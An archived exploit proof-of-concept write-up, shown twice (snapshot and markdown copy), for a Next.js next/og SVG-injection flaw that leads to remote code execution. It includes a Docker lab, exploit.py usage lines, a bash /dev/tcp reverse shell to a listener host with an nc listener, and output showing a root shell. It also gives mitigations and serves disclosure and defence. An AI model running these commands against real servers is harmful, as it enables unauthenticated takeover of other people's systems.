Next.js next/og SVG Injection to Native RCE Exploit PoC (CVE-2026-94545)
Summary
Why it matters
- CVE
- CVE-2026-94545
- Vendor
- Vercel
- Product
- Next.js
- Affected versions
- 16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5
- CVSS
- 9.5
- Published
- Collected
📦 Full-Text Content Snapshot
R2 Archive · Full Article PreservedPublished by EQSTLab · Source: github.com/EQSTLab/CVE-2026-94545
Overview
next/ogbuilds Open Graph images by rendering JSX to an SVG with Satori and then rasterizing that SVG. Satori writes user-supplied text into the SVG without escaping it (CWE-116), so a request can close the surrounding element and inject its own SVG markup. When the route runs on the Node.js runtime withsharpinstalled, that SVG is rasterized by native libraries (libvips,librsvg,libxml2) rather than the sandboxed wasm renderer.A payload built from an XInclude reference and nested DTD entities corrupts memory inside that native parser. The official Node.js binary is non-PIE, so its code and GOT are not randomized and a fixed ROP chain reaches
execvewithout an address leak. One unauthenticated request to an OG-image route is enough to run commands as the server process.
Affected Versions
| Category | Version |
|---|---|
| Vulnerable | Next.js 16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5 |
| Patched | Next.js 16.3.6 / Satori 0.33.5 or later |
Only the Node.js runtime path is affected. With
export const runtime = 'edge', or an install withoutsharp, the image is drawn by the sandboxedresvg-wasm renderer and the bug does not lead to code execution.
Impact
- Unauthenticated code execution as the Next.js server process. Any route that passes request data into
ImageResponseis a sink. - The exploit is blind. A successful
execvereplaces the worker, so the HTTP request simply closes and the result has to come back another way, such as a reverse shell or a command that phones home. - The payload is stable. Because the Node binary is non-PIE, the gadget addresses are the same on every host and reboot for a given Node build, so no per-target leak or bruteforce is needed.
- A successful hit crashes the worker. The node process is replaced by the injected command, so the server stops responding until it is restarted.
Environment
A minimal Next.js app that reproduces the vulnerable configuration. The route at /api/og renders an ImageResponse on the Node runtime, and sharp is installed so the native rasterizer is used. The image pins the exact stack the ROP chain depends on (Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). The first build pulls Node, installs npm dependencies, and runs next build, which takes a few minutes.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"| Precondition | State in this lab |
|---|---|
| Next.js 16.2.0 – 16.3.5 on the Node runtime | Next 16.3.5, runtime = 'nodejs' |
sharp installed, so the native librsvg/libxml2 path is used | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Non-PIE Node binary for a stable ROP base | official Node v24.20.0 linux-x64 (SHA-verified) |
| OG-image route reachable without auth | GET and POST /api/og, request text goes into an SVG <title> |
| Outbound path available for a reverse shell | bash and /dev/tcp are present |
PoC
The vulnerable route is POST /api/og. It takes the request body and places it in an SVG <title> before rasterizing. exploit.py builds that SVG for a chosen command, encodes the ROP chain into a <path>, and sends it to the route.
The simplest run opens a reverse shell. Give it the target and a listener address; it starts nc for you, fires the request, and hands you the shell.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444The payload is calibrated to the stack listed in Environment, so run it against this image or a host with the same Node and sharp build. A hit replaces the node process with your command, which means the HTTP request closes and the service stops answering until the container is restarted.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/LinuxThe reverse shell runs as the server process, which confirms code execution from a single unauthenticated request. To run one command without a listener, pass it directly; note that the output does not return over HTTP, so the command has to send anything you want to see out of band.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/ogMitigation
- Upgrade to Next.js 16.3.6 / Satori 0.33.5 or later, which escapes SVG text when it is serialized and closes the injection.
- If you cannot upgrade yet, move
next/ogroutes toexport const runtime = 'edge'so the sandboxed wasm renderer is used, or removesharpso the native path is not reached, and keep unsanitized user input out ofImageResponsechildren. - Put OG-image routes behind authentication or an allowlist, and restrict the server's outbound traffic to make blind exfil harder.
- After patching, treat an internet-reachable instance as compromised: rotate any secrets the app process could read and check for persistence.
📦 Full-Text Markdown Snapshot archived by Phying News · Original source: github.com
---
id: 8860
canonical_url: "https://phying.com/item/8860"
title: "Next.js next/og SVG Injection to Native RCE Exploit PoC (CVE-2026-94545)"
type: "vulnerability"
cve: "CVE-2026-94545"
cvss: 9.5
severity: "critical"
vendor: "Vercel"
product: "Next.js"
affected_versions: "16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5"
source_domain: "github.com"
source_url: "https://github.com/EQSTLab/CVE-2026-94545"
published_at: "2026-09-29T07:52:23Z"
snapshot_at: "2026-10-26T05:55:00Z"
archived_by: "Phying News (https://phying.com/item/8860)"
lang: "en"
---
# Next.js next/og SVG Injection to Native RCE Exploit PoC (CVE-2026-94545)
*Published by EQSTLab · Source: [github.com/EQSTLab/CVE-2026-94545](https://github.com/EQSTLab/CVE-2026-94545)*
# Overview
> `next/og` builds Open Graph images by rendering JSX to an SVG with Satori and then rasterizing that SVG. Satori writes user-supplied text into the SVG without escaping it (CWE-116), so a request can close the surrounding element and inject its own SVG markup. When the route runs on the Node.js runtime with `sharp` installed, that SVG is rasterized by native libraries (`libvips`, `librsvg`, `libxml2`) rather than the sandboxed wasm renderer.
>
> A payload built from an XInclude reference and nested DTD entities corrupts memory inside that native parser. The official Node.js binary is non-PIE, so its code and GOT are not randomized and a fixed ROP chain reaches `execve` without an address leak. One unauthenticated request to an OG-image route is enough to run commands as the server process.
# Affected Versions
| Category | Version |
| :--- | :--- |
| **Vulnerable** | Next.js 16.2.0 – 16.3.5 (Node runtime, `sharp` present), Satori >=0.0.27 <0.33.5 |
| **Patched** | Next.js 16.3.6 / Satori 0.33.5 or later |
> Only the Node.js runtime path is affected. With `export const runtime = 'edge'`, or an install without `sharp`, the image is drawn by the sandboxed `resvg`-wasm renderer and the bug does not lead to code execution.
# Impact
- **Unauthenticated code execution** as the Next.js server process. Any route that passes request data into `ImageResponse` is a sink.
- **The exploit is blind.** A successful `execve` replaces the worker, so the HTTP request simply closes and the result has to come back another way, such as a reverse shell or a command that phones home.
- **The payload is stable.** Because the Node binary is non-PIE, the gadget addresses are the same on every host and reboot for a given Node build, so no per-target leak or bruteforce is needed.
- **A successful hit crashes the worker.** The node process is replaced by the injected command, so the server stops responding until it is restarted.
# Environment
A minimal Next.js app that reproduces the vulnerable configuration. The route at `/api/og` renders an `ImageResponse` on the Node runtime, and `sharp` is installed so the native rasterizer is used. The image pins the exact stack the ROP chain depends on (Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). The first build pulls Node, installs npm dependencies, and runs `next build`, which takes a few minutes.
```bash
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
```
| Precondition | State in this lab |
| :--- | :--- |
| Next.js 16.2.0 – 16.3.5 on the Node runtime | Next 16.3.5, `runtime = 'nodejs'` |
| `sharp` installed, so the native librsvg/libxml2 path is used | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Non-PIE Node binary for a stable ROP base | official Node v24.20.0 linux-x64 (SHA-verified) |
| OG-image route reachable without auth | `GET` and `POST /api/og`, request text goes into an SVG `<title>` |
| Outbound path available for a reverse shell | `bash` and `/dev/tcp` are present |
# PoC
The vulnerable route is `POST /api/og`. It takes the request body and places it in an SVG `<title>` before rasterizing. `exploit.py` builds that SVG for a chosen command, encodes the ROP chain into a `<path>`, and sends it to the route.
The simplest run opens a reverse shell. Give it the target and a listener address; it starts `nc` for you, fires the request, and hands you the shell.
```bash
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
```
The payload is calibrated to the stack listed in Environment, so run it against this image or a host with the same Node and sharp build. A hit replaces the node process with your command, which means the HTTP request closes and the service stops answering until the container is restarted.
```text
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
```
The reverse shell runs as the server process, which confirms code execution from a single unauthenticated request. To run one command without a listener, pass it directly; note that the output does not return over HTTP, so the command has to send anything you want to see out of band.
```bash
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
```
# Mitigation
- Upgrade to Next.js 16.3.6 / Satori 0.33.5 or later, which escapes SVG text when it is serialized and closes the injection.
- If you cannot upgrade yet, move `next/og` routes to `export const runtime = 'edge'` so the sandboxed wasm renderer is used, or remove `sharp` so the native path is not reached, and keep unsanitized user input out of `ImageResponse` children.
- Put OG-image routes behind authentication or an allowlist, and restrict the server's outbound traffic to make blind exfil harder.
- After patching, treat an internet-reachable instance as compromised: rotate any secrets the app process could read and check for persistence.
---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/8860) · Original source: [github.com](https://github.com/EQSTLab/CVE-2026-94545)